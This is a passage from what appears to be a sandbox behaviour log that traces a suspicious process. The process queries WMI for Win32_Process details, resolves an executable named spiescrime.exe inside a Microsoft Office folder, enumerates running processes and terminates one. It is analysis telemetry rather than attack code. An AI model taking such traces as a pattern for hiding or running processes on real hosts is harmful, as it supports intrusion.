varVal2=0x0), pType=0x2e3aca4*=8, plFlavor=0x2e3aca8*=64) returned 0x0 [0067.341] IWbemClassObject:Get (in: This=0x60fd670, wszName="__DYNASTY", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e3accc*=0, plFlavor=0x2e3acd0*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e3accc*=8, plFlavor=0x2e3acd0*=64) returned 0x0 [0067.341] IWbemClassObject:Get (in: This=0x60fd670, wszName="__RELPATH", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e3acf4*=0, plFlavor=0x2e3acf8*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e3acf4*=8, plFlavor=0x2e3acf8*=64) returned 0x0 [0067.341] IWbemClassObject:Get (in: This=0x60fd670, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e3ad1c*=0, plFlavor=0x2e3ad20*=0 | out: pVal=0x5e8e2e4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), pType=0x2e3ad1c*=3, plFlavor=0x2e3ad20*=64) returned 0x0 [0067.341] IWbemClassObject:Get (in: This=0x60fd670, wszName="__DERIVATION", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e3ad50*=0, plFlavor=0x2e3ad54*=0 | out: pVal=0x5e8e2e4*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x41eb00*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x42b130, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2e3ad50*=8200, plFlavor=0x2e3ad54*=64) returned 0x0 [0067.341] IWbemClassObject:Get (in: This=0x60fd670, wszName="__SERVER", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e3ad88*=0, plFlavor=0x2e3ad8c*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e3ad88*=8, plFlavor=0x2e3ad8c*=64) returned 0x0 [0067.341] IWbemClassObject:Get (in: This=0x60fd670, wszName="__NAMESPACE", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e3adb0*=0, plFlavor=0x2e3adb4*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e3adb0*=8, plFlavor=0x2e3adb4*=64) returned 0x0 [0067.341] IWbemClassObject:Get (in: This=0x60fd670, wszName="__PATH", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e3add8*=0, plFlavor=0x2e3addc*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e3add8*=8, plFlavor=0x2e3addc*=64) returned 0x0 [0067.341] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e364 | out: puCount=0x5e8e364*=0x2) returned 0x0 [0067.341] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e360*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e360*=0x17, pszText=0x0) returned 0x0 [0067.341] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e360*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e360*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.342] IWbemClassObject:Get (in: This=0x60fd670, wszName="ProcessId", lFlags=0, pVal=0x5e8e320*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e3ae40*=0, plFlavor=0x2e3ae44*=0 | out: pVal=0x5e8e320*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x76c, varVal2=0x0), pType=0x2e3ae40*=19, plFlavor=0x2e3ae44*=0) returned 0x0 [0067.342] IWbemClassObject:Get (in: This=0x60fd670, wszName="ProcessId", lFlags=0, pVal=0x5e8e3d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e3ae40*=19, plFlavor=0x2e3ae44*=0 | out: pVal=0x5e8e3d8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x76c, varVal2=0x0), pType=0x2e3ae40*=19, plFlavor=0x2e3ae44*=0) returned 0x0 [0067.342] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e328 | out: puCount=0x5e8e328*=0x2) returned 0x0 [0067.342] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e324*=0x17, pszText=0x0) returned 0x0 [0067.342] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e324*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.342] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e328 | out: puCount=0x5e8e328*=0x2) returned 0x0 [0067.342] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e324*=0x17, pszText=0x0) returned 0x0 [0067.342] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e324*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e324*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.342] IWbemClassObject:GetNames (in: This=0x60fd670, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5e8e2ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5e8e2b8 | out: pNames=0x5e8e2b8*="\x01ƀ\x04") returned 0x0 [0067.342] SafeArrayGetDim (psa=0x41ea10) returned 0x1 [0067.342] SafeArrayGetDim (psa=0x41ea10) returned 0x1 [0067.342] SafeArrayGetLBound (in: psa=0x41ea10, nDim=0x1, plLbound=0x5e8deb4 | out: plLbound=0x5e8deb4) returned 0x0 [0067.342] IWbemClassObject:Get (in: This=0x60fd670, wszName="__GENUS", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e3b348*=0, plFlavor=0x2e3b34c*=0 | out: pVal=0x5e8e2e4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2e3b348*=3, plFlavor=0x2e3b34c*=64) returned 0x0 [0067.343] IWbemClassObject:Get (in: This=0x60fd670, wszName="__CLASS", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e3b37c*=0, plFlavor=0x2e3b380*=0 | out: pVal=0x5e8e2e4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x2e3b37c*=8, plFlavor=0x2e3b380*=64) returned 0x0 [0067.343] SysStringLen (param_1="Win32_Process") returned 0xd [0067.343] IWbemClassObject:Get (in: This=0x60fd670, wszName="__SUPERCLASS", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e3b3d0*=0, plFlavor=0x2e3b3d4*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e3b3d0*=8, plFlavor=0x2e3b3d4*=64) returned 0x0 [0067.343] IWbemClassObject:Get (in: This=0x60fd670, wszName="__DYNASTY", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e3b3f8*=0, plFlavor=0x2e3b3fc*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e3b3f8*=8, plFlavor=0x2e3b3fc*=64) returned 0x0 [0067.343] IWbemClassObject:Get (in: This=0x60fd670, wszName="__RELPATH", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e3b420*=0, plFlavor=0x2e3b424*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e3b420*=8, plFlavor=0x2e3b424*=64) returned 0x0 [0067.343] IWbemClassObject:Get (in: This=0x60fd670, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e3b448*=0, plFlavor=0x2e3b44c*=0 | out: pVal=0x5e8e2e4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), pType=0x2e3b448*=3, plFlavor=0x2e3b44c*=64) returned 0x0 [0067.343] IWbemClassObject:Get (in: This=0x60fd670, wszName="__DERIVATION", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e3b47c*=0, plFlavor=0x2e3b480*=0 | out: pVal=0x5e8e2e4*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x41ea10*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x42b130, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2e3b47c*=8200, plFlavor=0x2e3b480*=64) returned 0x0 [0067.343] IWbemClassObject:Get (in: This=0x60fd670, wszName="__SERVER", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e3b4b4*=0, plFlavor=0x2e3b4b8*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e3b4b4*=8, plFlavor=0x2e3b4b8*=64) returned 0x0 [0067.343] IWbemClassObject:Get (in: This=0x60fd670, wszName="__NAMESPACE", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e3b4dc*=0, plFlavor=0x2e3b4e0*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e3b4dc*=8, plFlavor=0x2e3b4e0*=64) returned 0x0 [0067.343] IWbemClassObject:Get (in: This=0x60fd670, wszName="__PATH", lFlags=0, pVal=0x5e8e2e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e3b504*=0, plFlavor=0x2e3b508*=0 | out: pVal=0x5e8e2e4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e3b504*=8, plFlavor=0x2e3b508*=64) returned 0x0 [0067.343] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e364 | out: puCount=0x5e8e364*=0x2) returned 0x0 [0067.343] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e360*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e360*=0x17, pszText=0x0) returned 0x0 [0067.343] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e360*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e360*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.343] IWbemClassObject:Get (in: This=0x60fd670, wszName="ExecutablePath", lFlags=0, pVal=0x5e8e320*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e3b56c*=0, plFlavor=0x2e3b570*=0 | out: pVal=0x5e8e320*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Program Files (x86)\\Microsoft Office\\spiescrime.exe", varVal2=0x0), pType=0x2e3b56c*=8, plFlavor=0x2e3b570*=0) returned 0x0 [0067.343] IWbemClassObject:Get (in: This=0x60fd670, wszName="ExecutablePath", lFlags=0, pVal=0x5e8e3d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e3b56c*=8, plFlavor=0x2e3b570*=0 | out: pVal=0x5e8e3d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Program Files (x86)\\Microsoft Office\\spiescrime.exe", varVal2=0x0), pType=0x2e3b56c*=8, plFlavor=0x2e3b570*=0) returned 0x0 [0067.348] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47 [0067.348] GetLastError () returned 0x0 [0067.348] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x47, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0067.349] GetLastError () returned 0x0 [0067.353] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b [0067.353] GetLastError () returned 0x0 [0067.353] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x4b, lpConsoleScreenBufferInfo=0x5e8e4e0 | out: lpConsoleScreenBufferInfo=0x5e8e4e0) returned 1 [0067.353] GetLastError () returned 0x0 [0067.357] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f [0067.357] GetLastError () returned 0x0 [0067.357] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x4f, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0067.357] GetLastError () returned 0x0 [0067.362] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53 [0067.362] GetLastError () returned 0x0 [0067.362] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x53, lpConsoleScreenBufferInfo=0x5e8e4d0 | out: lpConsoleScreenBufferInfo=0x5e8e4d0) returned 1 [0067.362] GetLastError () returned 0x0 [0067.366] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57 [0067.366] GetLastError () returned 0x0 [0067.366] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x57, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0067.366] GetLastError () returned 0x0 [0067.366] SetConsoleTextAttribute (hConsoleOutput=0x57, wAttributes=0x7) returned 1 [0067.367] GetLastError () returned 0x0 [0067.367] CloseHandle (hObject=0x57) returned 1 [0067.367] GetLastError () returned 0x0 [0067.371] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57 [0067.371] GetLastError () returned 0x0 [0067.371] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x57, lpConsoleScreenBufferInfo=0x5e8e4d8 | out: lpConsoleScreenBufferInfo=0x5e8e4d8) returned 1 [0067.371] GetLastError () returned 0x0 [0067.371] SetConsoleTextAttribute (hConsoleOutput=0x57, wAttributes=0x7) returned 1 [0067.371] GetLastError () returned 0x0 [0067.371] CloseHandle (hObject=0x57) returned 1 [0067.372] GetLastError () returned 0x0 [0067.372] WriteFile (in: hFile=0x154, lpBuffer=0x2cbd710*, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0x5e8e4dc, lpOverlapped=0x0 | out: lpBuffer=0x2cbd710*, lpNumberOfBytesWritten=0x5e8e4dc*=0x53, lpOverlapped=0x0) returned 1 [0067.372] GetLastError () returned 0x0 [0067.375] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57 [0067.376] GetLastError () returned 0x0 [0067.376] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x57, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0067.376] GetLastError () returned 0x0 [0067.376] SetConsoleTextAttribute (hConsoleOutput=0x57, wAttributes=0x7) returned 1 [0067.376] GetLastError () returned 0x0 [0067.376] CloseHandle (hObject=0x57) returned 1 [0067.376] GetLastError () returned 0x0 [0067.380] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57 [0067.380] GetLastError () returned 0x0 [0067.380] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x57, lpConsoleScreenBufferInfo=0x5e8e4d4 | out: lpConsoleScreenBufferInfo=0x5e8e4d4) returned 1 [0067.380] GetLastError () returned 0x0 [0067.380] SetConsoleTextAttribute (hConsoleOutput=0x57, wAttributes=0x7) returned 1 [0067.381] GetLastError () returned 0x0 [0067.381] CloseHandle (hObject=0x57) returned 1 [0067.381] GetLastError () returned 0x0 [0067.385] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x406f60, nSize=0x80 | out: lpBuffer="") returned 0x0 [0067.385] GetLastError () returned 0xcb [0067.386] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e474 | out: puCount=0x5e8e474*=0x2) returned 0x0 [0067.386] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e470*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e470*=0x17, pszText=0x0) returned 0x0 [0067.386] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e470*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e470*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.386] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e474 | out: puCount=0x5e8e474*=0x2) returned 0x0 [0067.386] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e470*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e470*=0x17, pszText=0x0) returned 0x0 [0067.386] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e470*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e470*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.386] IWbemClassObject:GetNames (in: This=0x60fd670, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5e8e438*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5e8e404 | out: pNames=0x5e8e404*="\x01ƀ\x04") returned 0x0 [0067.386] SafeArrayGetDim (psa=0x41eb00) returned 0x1 [0067.386] SafeArrayGetDim (psa=0x41eb00) returned 0x1 [0067.386] SafeArrayGetLBound (in: psa=0x41eb00, nDim=0x1, plLbound=0x5e8e000 | out: plLbound=0x5e8e000) returned 0x0 [0067.387] IWbemClassObject:Get (in: This=0x60fd670, wszName="__GENUS", lFlags=0, pVal=0x5e8e430*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e3f394*=0, plFlavor=0x2e3f398*=0 | out: pVal=0x5e8e430*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2e3f394*=3, plFlavor=0x2e3f398*=64) returned 0x0 [0067.387] IWbemClassObject:Get (in: This=0x60fd670, wszName="__CLASS", lFlags=0, pVal=0x5e8e430*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e3f3c8*=0, plFlavor=0x2e3f3cc*=0 | out: pVal=0x5e8e430*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x2e3f3c8*=8, plFlavor=0x2e3f3cc*=64) returned 0x0 [0067.387] SysStringLen (param_1="Win32_Process") returned 0xd [0067.387] IWbemClassObject:Get (in: This=0x60fd670, wszName="__SUPERCLASS", lFlags=0, pVal=0x5e8e430*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e3f41c*=0, plFlavor=0x2e3f420*=0 | out: pVal=0x5e8e430*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e3f41c*=8, plFlavor=0x2e3f420*=64) returned 0x0 [0067.387] IWbemClassObject:Get (in: This=0x60fd670, wszName="__DYNASTY", lFlags=0, pVal=0x5e8e430*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e3f444*=0, plFlavor=0x2e3f448*=0 | out: pVal=0x5e8e430*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e3f444*=8, plFlavor=0x2e3f448*=64) returned 0x0 [0067.387] IWbemClassObject:Get (in: This=0x60fd670, wszName="__RELPATH", lFlags=0, pVal=0x5e8e430*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e3f46c*=0, plFlavor=0x2e3f470*=0 | out: pVal=0x5e8e430*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e3f46c*=8, plFlavor=0x2e3f470*=64) returned 0x0 [0067.389] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e4b0 | out: puCount=0x5e8e4b0*=0x2) returned 0x0 [0067.389] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e4ac*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e4ac*=0x17, pszText=0x0) returned 0x0 [0067.389] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e4ac*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e4ac*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.405] EnumProcesses (in: lpidProcess=0x2e50070, cb=0x400, lpcbNeeded=0x5e8e5a8 | out: lpidProcess=0x2e50070, lpcbNeeded=0x5e8e5a8) returned 1 [0067.407] GetLastError () returned 0x0 [0067.408] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3aa82b8, Length=0x20000, ResultLength=0x5e8e528 | out: SystemInformation=0x3aa82b8, ResultLength=0x5e8e528*=0xe078) returned 0x0 [0067.446] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x5e8e044, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0067.446] GetLastError () returned 0x3 [0067.446] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x5e8dff4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0067.446] GetLastError () returned 0x3 [0067.446] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x5e8dff4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0067.446] GetLastError () returned 0x3 [0067.446] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x5e8dff4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0067.446] GetLastError () returned 0x3 [0067.471] TerminateProcess (hProcess=0x4e8, uExitCode=0xffffffff) returned 1 [0067.473] GetLastError () returned 0x3 [0067.473] CloseHandle (hObject=0x4e8) returned 1 [0067.473] GetLastError () returned 0x3 [0067.474] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e5d0 | out: puCount=0x5e8e5d0*=0x2) returned 0x0 [0067.474] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5cc*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e5cc*=0x17, pszText=0x0) returned 0x0 [0067.474] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e5cc*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e5cc*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.474] IWbemClassObject:Get (in: This=0x60fd808, wszName="__NAMESPACE", lFlags=0, pVal=0x5e8e58c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8b10c*=0, plFlavor=0x2e8b110*=0 | out: pVal=0x5e8e58c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8b10c*=8, plFlavor=0x2e8b110*=64) returned 0x0 [0067.474] IWbemClassObject:Get (in: This=0x60fd808, wszName="__NAMESPACE", lFlags=0, pVal=0x5e8e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2e8b10c*=8, plFlavor=0x2e8b110*=64 | out: pVal=0x5e8e590*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), 